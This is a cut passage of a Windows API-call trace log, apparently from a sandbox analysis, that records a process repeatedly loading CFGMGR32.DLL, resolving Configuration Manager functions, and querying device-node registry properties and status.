ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0226.097] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4288452e, dwHighDateTime=0x1d9eb0c)) [0226.098] SetEvent (hEvent=0x248) returned 1 [0226.101] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.101] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.106] malloc (_Size=0x18) returned 0x20abc281960 [0226.106] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.111] malloc (_Size=0x48) returned 0x20abc2abf90 [0226.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x428aa540, dwHighDateTime=0x1d9eb0c)) [0226.111] SetEvent (hEvent=0x248) returned 1 [0226.115] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.115] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.116] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.117] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.118] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.119] malloc (_Size=0x18) returned 0x20abc281f80 [0226.119] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.119] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x428aa540, dwHighDateTime=0x1d9eb0c)) [0226.119] SetEvent (hEvent=0x248) returned 1 [0226.124] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.124] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.124] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.125] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.126] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.127] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.128] malloc (_Size=0x18) returned 0x20abc281ea0 [0226.128] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.128] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x428d09c5, dwHighDateTime=0x1d9eb0c)) [0226.129] SetEvent (hEvent=0x248) returned 1 [0226.242] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.242] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.245] malloc (_Size=0x18) returned 0x20abc281b00 [0226.245] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0226.246] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x429db895, dwHighDateTime=0x1d9eb0c)) [0226.246] SetEvent (hEvent=0x248) returned 1 [0226.252] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.252] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.256] malloc (_Size=0x18) returned 0x20abc281b80 [0226.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.259] malloc (_Size=0x48) returned 0x20abc2ab450 [0226.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42a01b9c, dwHighDateTime=0x1d9eb0c)) [0226.259] SetEvent (hEvent=0x248) returned 1 [0226.262] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.263] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.264] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.266] malloc (_Size=0x18) returned 0x20abc281e80 [0226.266] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xc, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0226.267] malloc (_Size=0x48) returned 0x20abc2ab310 [0226.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x42a27fab, dwHighDateTime=0x1d9eb0c)) [0226.267] SetEvent (hEvent=0x248) returned 1 [0226.272] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.272] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.275] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.276] malloc (_Size=0x18) returned 0x20abc281ec0 [0226.276] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xc, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0226.276] malloc (_Size=0x48) returned 0x20abc2abae0 [0226.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x42a27fab, dwHighDateTime=0x1d9eb0c)) [0226.276] SetEvent (hEvent=0x248) returned 1 [0226.281] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.281] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.285] malloc (_Size=0x18) returned 0x20abc281e20 [0226.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0226.285] malloc (_Size=0x48) returned 0x20abc2ac0d0 [0226.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: 